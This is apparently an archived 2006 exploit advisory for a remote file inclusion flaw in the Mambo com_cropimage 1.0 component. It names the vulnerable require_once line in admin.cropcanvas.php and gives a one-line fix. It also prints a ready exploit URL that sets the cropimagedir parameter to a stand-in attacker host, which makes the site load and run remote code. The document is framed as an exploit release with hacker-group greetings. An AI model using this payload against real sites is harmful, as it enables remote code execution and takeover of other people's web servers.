Mambo cropimage Component <= 1.0 Remote File Include Vulnerability

2006-08-19T00:00:00
ID 1337DAY-ID-716
Type zdt
Reporter xoron
Modified 2006-08-19T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
Mambo cropimage Component <= 1.0 Remote File Include Vulnerability
==================================================================



############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo com_cropimage 1.0 Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#Code:  in admin.cropcanvas.php , line 7

require_once $cropimagedir."class.cropinterface.php";

############################################################

#Fix: 1-)open admin.cropcanvas.php
       2-)add this code before line 7

        defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts?

############################################################

#Greetz: Ironfist, Preddy, SHiKaA, mdx, DJR, DaRK,R3D4C!D,iNSoMNiA and all my friend

############################################################



#  0day.today [2018-01-05]  #